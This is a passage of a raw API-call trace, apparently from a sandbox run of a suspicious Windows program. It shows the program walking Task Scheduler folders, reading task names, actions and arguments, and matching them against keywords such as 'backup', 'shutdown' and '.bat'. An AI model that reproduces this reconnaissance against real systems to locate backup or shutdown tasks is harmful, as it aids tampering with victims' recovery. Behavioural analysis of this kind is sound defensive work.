BaseAddress=0x79d9e8) returned 1 [0210.752] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0210.752] IUnknown:Release (This=0x2463688) returned 0x2 [0210.752] IUnknown:Release (This=0x2463688) returned 0x1 [0210.752] IUnknown:Release (This=0x47fcb8) returned 0x1 [0210.752] IUnknown:Release (This=0x2464f58) returned 0x0 [0210.752] IUnknown:Release (This=0x2464e98) returned 0x0 [0210.752] IUnknown:Release (This=0x2463648) returned 0x0 [0210.752] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.753] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.753] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.753] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.753] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2c, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.753] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.753] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.753] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.753] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ConfigNotification") returned 0x0 [0210.753] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.758] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0210.758] wcsstr (_Str="confignotification", _SubStr="reboot") returned 0x0 [0210.758] wcsstr (_Str="confignotification", _SubStr="restart") returned 0x0 [0210.758] wcsstr (_Str="confignotification", _SubStr="shutdown") returned 0x0 [0210.758] wcsstr (_Str="confignotification", _SubStr="logoff") returned 0x0 [0210.758] wcsstr (_Str="confignotification", _SubStr=".bat") returned 0x0 [0210.758] wcsstr (_Str="confignotification", _SubStr="backup") returned 0x0 [0210.758] wcsstr (_Str="confignotification", _SubStr=".cmd") returned 0x0 [0210.758] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0210.758] IRegisteredTask:get_Definition (in: This=0x2464e30, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464ef0) returned 0x0 [0210.764] ITaskDefinition:get_Actions (in: This=0x2464ef0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464f68) returned 0x0 [0210.764] IActionCollection:get_Count (in: This=0x2464f68, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.764] IActionCollection:get_Item (in: This=0x2464f68, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.764] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.764] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.764] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%systemroot%\\System32\\sdclt.exe") returned 0x0 [0210.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2620 [0210.764] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="reboot") returned 0x0 [0210.764] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="restart") returned 0x0 [0210.764] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="shutdown") returned 0x0 [0210.764] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="logoff") returned 0x0 [0210.764] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr=".bat") returned 0x0 [0210.764] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="backup") returned 0x0 [0210.764] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr=".cmd") returned 0x0 [0210.764] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2620) returned 1 [0210.765] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/CONFIGNOTIFICATION") returned 0x0 [0210.765] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0210.765] wcsstr (_Str="/confignotification", _SubStr="reboot") returned 0x0 [0210.765] wcsstr (_Str="/confignotification", _SubStr="restart") returned 0x0 [0210.765] wcsstr (_Str="/confignotification", _SubStr="shutdown") returned 0x0 [0210.765] wcsstr (_Str="/confignotification", _SubStr="logoff") returned 0x0 [0210.765] wcsstr (_Str="/confignotification", _SubStr=".bat") returned 0x0 [0210.765] wcsstr (_Str="/confignotification", _SubStr="backup") returned 0x0 [0210.765] wcsstr (_Str="/confignotification", _SubStr=".cmd") returned 0x0 [0210.765] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0210.765] IUnknown:Release (This=0x2463688) returned 0x2 [0210.765] IUnknown:Release (This=0x2463688) returned 0x1 [0210.765] IUnknown:Release (This=0x2464f68) returned 0x1 [0210.765] IUnknown:Release (This=0x2464ef0) returned 0x0 [0210.765] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.765] IUnknown:Release (This=0x2463648) returned 0x0 [0210.765] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.765] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.765] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.765] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.766] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2d, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.766] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.766] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.766] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e88) returned 0x0 [0210.766] IRegisteredTask:get_Name (in: This=0x2464e88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Calibration Loader") returned 0x0 [0210.766] IRegisteredTask:get_State (in: This=0x2464e88, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0210.767] IUnknown:Release (This=0x2464e88) returned 0x0 [0210.768] IUnknown:Release (This=0x2463648) returned 0x0 [0210.768] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.768] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.768] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.768] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.768] IUnknown:Release (This=0x47fc70) returned 0x0 [0210.768] TaskScheduler:IUnknown:Release (This=0x24600f0) returned 0x0 [0210.768] ITaskFolderCollection:get_Item (in: This=0x2461f18, index=0x5cfa74*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfa9c | out: ppFolder=0x5cfa9c*=0x24600f0) returned 0x0 [0210.768] ITaskFolder:GetTasks (in: This=0x24600f0, flags=0, ppTasks=0x5cfa3c | out: ppTasks=0x5cfa3c*=0x24636c8) returned 0x0 [0210.769] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cfa18 | out: pCount=0x5cfa18*=0) returned 0x0 [0210.769] IUnknown:Release (This=0x24636c8) returned 0x0 [0210.769] ITaskFolder:GetFolders (in: This=0x24600f0, flags=0, ppFolders=0x5cfa78 | out: ppFolders=0x5cfa78*=0x24635a8) returned 0x0 [0210.769] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa6c | out: pCount=0x5cfa6c*=0) returned 0x0 [0210.769] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.769] TaskScheduler:IUnknown:Release (This=0x24600f0) returned 0x0 [0210.769] IUnknown:Release (This=0x2461f18) returned 0x0 [0210.769] TaskScheduler:IUnknown:Release (This=0x24600c0) returned 0x0 [0210.777] ITaskFolderCollection:get_Item (in: This=0x2461ed0, index=0x5cfaa0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfac8 | out: ppFolder=0x5cfac8*=0x24600c0) returned 0x0 [0210.777] ITaskFolder:GetTasks (in: This=0x24600c0, flags=0, ppTasks=0x5cfa68 | out: ppTasks=0x5cfa68*=0x2463648) returned 0x0 [0210.778] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cfa44 | out: pCount=0x5cfa44*=0) returned 0x0 [0210.778] IUnknown:Release (This=0x2463648) returned 0x0 [0210.778] ITaskFolder:GetFolders (in: This=0x24600c0, flags=0, ppFolders=0x5cfaa4 | out: ppFolders=0x5cfaa4*=0x2461f18) returned 0x0 [0210.779] ITaskFolderCollection:get_Count (in: This=0x2461f18, pCount=0x5cfa98 | out: pCount=0x5cfa98*=0) returned 0x0 [0210.779] IUnknown:Release (This=0x2461f18) returned 0x0 [0210.779] TaskScheduler:IUnknown:Release (This=0x24600c0) returned 0x0 [0210.779] IUnknown:Release (This=0x2461ed0) returned 0x0 [0210.779] TaskScheduler:IUnknown:Release (This=0x2460090) returned 0x0 [0210.779] TaskScheduler:IUnknown:Release (This=0x2460a68) returned 0x0 [0210.779] CoUninitialize () [0210.803] Sleep (dwMilliseconds=0xea60) [0221.175] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0221.175] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0221.179] CoCreateInstance (in: rclsid=0xc6050*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xc6040*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x5cfaf8 | out: ppv=0x5cfaf8*=0x2460a68) returned 0x0 [0221.189] TaskScheduler:ITaskService:Connect (This=0x2460a68, serverName=0x5cfaa0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x5cfab0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x5cfac0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x5cfad0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0221.191] TaskScheduler:ITaskService:GetFolder (in: This=0x2460a68, Path="\\", ppFolder=0x5cfaf4 | out: ppFolder=0x5cfaf4*=0x2460090) returned 0x0 [0221.193] ITaskFolder:GetTasks (in: This=0x2460090, flags=0, ppTasks=0x5cfa94 | out: ppTasks=0x5cfa94*=0x2463648) returned 0x0 [0221.193] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cfa70 | out: pCount=0x5cfa70*=0) returned 0x0 [0221.194] IUnknown:Release (This=0x2463648) returned 0x0 [0221.194] ITaskFolder:GetFolders (in: This=0x2460090, flags=0, ppFolders=0x5cfad0 | out: ppFolders=0x5cfad0*=0x2461ed0) returned 0x0 [0221.194] ITaskFolderCollection:get_Count (in: This=0x2461ed0, pCount=0x5cfac4 | out: pCount=0x5cfac4*=2) returned 0x0 [0221.194] ITaskFolderCollection:get_Item (in: This=0x2461ed0, index=0x5cfaa0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfac8 | out: ppFolder=0x5cfac8*=0x24600c0) returned 0x0 [0221.194] ITaskFolder:GetTasks (in: This=0x24600c0, flags=0, ppTasks=0x5cfa68 | out: ppTasks=0x5cfa68*=0x2463648) returned 0x0 [0221.195] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cfa44 | out: pCount=0x5cfa44*=0) returned 0x0 [0221.195] IUnknown:Release (This=0x2463648) returned 0x0 [0221.195] ITaskFolder:GetFolders (in: This=0x24600c0, flags=0, ppFolders=0x5cfaa4 | out: ppFolders=0x5cfaa4*=0x2461f18) returned 0x0 [0221.195] ITaskFolderCollection:get_Count (in: This=0x2461f18, pCount=0x5cfa98 | out: pCount=0x5cfa98*=2) returned 0x0 [0221.195] ITaskFolderCollection:get_Item (in: This=0x2461f18, index=0x5cfa74*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa9c | out: ppFolder=0x5cfa9c*=0x24600f0) returned 0x0 [0221.196] ITaskFolder:GetTasks (in: This=0x24600f0, flags=0, ppTasks=0x5cfa3c | out: ppTasks=0x5cfa3c*=0x2463648) returned 0x0 [0221.196] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cfa18 | out: pCount=0x5cfa18*=0) returned 0x0 [0221.196] IUnknown:Release (This=0x2463648) returned 0x0 [0221.196] ITaskFolder:GetFolders (in: This=0x24600f0, flags=0, ppFolders=0x5cfa78 | out: ppFolders=0x5cfa78*=0x2464e30) returned 0x0 [0221.204] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa6c | out: pCount=0x5cfa6c*=45) returned 0x0 [0221.204] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.204] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.208] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0221.208] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fc70) returned 0x0 [0221.208] IRegisteredTask:get_Name (in: This=0x47fc70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AD RMS Rights Policy Template Management (Automated)") returned 0x0 [0221.208] IRegisteredTask:get_State (in: This=0x47fc70, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.212] IUnknown:Release (This=0x47fc70) returned 0x0 [0221.212] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fc70) returned 0x0 [0221.212] IRegisteredTask:get_Name (in: This=0x47fc70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AD RMS Rights Policy Template Management (Manual)") returned 0x0 [0221.212] IRegisteredTask:get_State (in: This=0x47fc70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.215] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x64) returned 0x79d9e8 [0221.215] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="reboot") returned 0x0 [0221.215] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="restart") returned 0x0 [0221.216] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="shutdown") returned 0x0 [0221.216] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="logoff") returned 0x0 [0221.216] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr=".bat") returned 0x0 [0221.216] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="backup") returned 0x0 [0221.216] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr=".cmd") returned 0x0 [0221.216] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x79d9e8) returned 1 [0221.216] IRegisteredTask:get_Definition (in: This=0x47fc70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fdb0) returned 0x0 [0221.224] ITaskDefinition:get_Actions (in: This=0x47fdb0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fe28) returned 0x0 [0221.224] IActionCollection:get_Count (in: This=0x47fe28, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.224] IActionCollection:get_Item (in: This=0x47fe28, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.224] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0221.224] IUnknown:Release (This=0x2463788) returned 0x1 [0221.224] IUnknown:Release (This=0x47fe28) returned 0x1 [0221.224] IUnknown:Release (This=0x47fdb0) returned 0x0 [0221.224] IUnknown:Release (This=0x47fc70) returned 0x0 [0221.224] IUnknown:Release (This=0x2463648) returned 0x0 [0221.224] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464f10) returned 0x0 [0221.224] ITaskFolderCollection:get_Count (in: This=0x2464f10, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.225] IUnknown:Release (This=0x2464f10) returned 0x0 [0221.225] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.225] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.225] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0221.225] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.225] IUnknown:Release (This=0x24636c8) returned 0x0 [0221.225] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e78) returned 0x0 [0221.226] ITaskFolderCollection:get_Count (in: This=0x2464e78, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.226] IUnknown:Release (This=0x2464e78) returned 0x0 [0221.226] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.226] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.226] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.227] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.227] IUnknown:Release (This=0x2463648) returned 0x0 [0221.227] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2465ed8) returned 0x0 [0221.228] ITaskFolderCollection:get_Count (in: This=0x2465ed8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.228] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.228] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.228] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.228] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0221.228] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.228] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2465ed8) returned 0x0 [0221.229] IRegisteredTask:get_Name (in: This=0x2465ed8, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Proxy") returned 0x0 [0221.229] IRegisteredTask:get_State (in: This=0x2465ed8, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.230] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.230] IUnknown:Release (This=0x24636c8) returned 0x0 [0221.230] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e78) returned 0x0 [0221.230] ITaskFolderCollection:get_Count (in: This=0x2464e78, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.230] IUnknown:Release (This=0x2464e78) returned 0x0 [0221.230] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.230] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.230] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.231] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.231] IUnknown:Release (This=0x2463648) returned 0x0 [0221.231] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2465ed8) returned 0x0 [0221.231] ITaskFolderCollection:get_Count (in: This=0x2465ed8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.231] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.231] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.231] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.231] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.232] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0221.232] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0221.232] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UserTask") returned 0x0 [0221.232] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.234] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0221.234] wcsstr (_Str="usertask", _SubStr="reboot") returned 0x0 [0221.234] wcsstr (_Str="usertask", _SubStr="restart") returned 0x0 [0221.234] wcsstr (_Str="usertask", _SubStr="shutdown") returned 0x0 [0221.234] wcsstr (_Str="usertask", _SubStr="logoff") returned 0x0 [0221.234] wcsstr (_Str="usertask", _SubStr=".bat") returned 0x0 [0221.234] wcsstr (_Str="usertask", _SubStr="backup") returned 0x0 [0221.234] wcsstr (_Str="usertask", _SubStr=".cmd") returned 0x0 [0221.234] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0221.234] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.240] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fc70) returned 0x0 [0221.240] IActionCollection:get_Count (in: This=0x47fc70, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.240] IActionCollection:get_Item (in: This=0x47fc70, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0221.240] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0221.240] IUnknown:Release (This=0x2463688) returned 0x1 [0221.240] IUnknown:Release (This=0x47fc70) returned 0x1 [0221.240] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.240] IUnknown:Release (This=0x2464e78) returned 0x0 [0221.240] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0221.240] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UserTask-Roam") returned 0x0 [0221.240] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.241] IUnknown:Release (This=0x2464e78) returned 0x0 [0221.241] IUnknown:Release (This=0x2463648) returned 0x0 [0221.241] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e78) returned 0x0 [0221.242] ITaskFolderCollection:get_Count (in: This=0x2464e78, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.242] IUnknown:Release (This=0x2464e78) returned 0x0 [0221.242] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.242] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.242] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.242] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.243] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 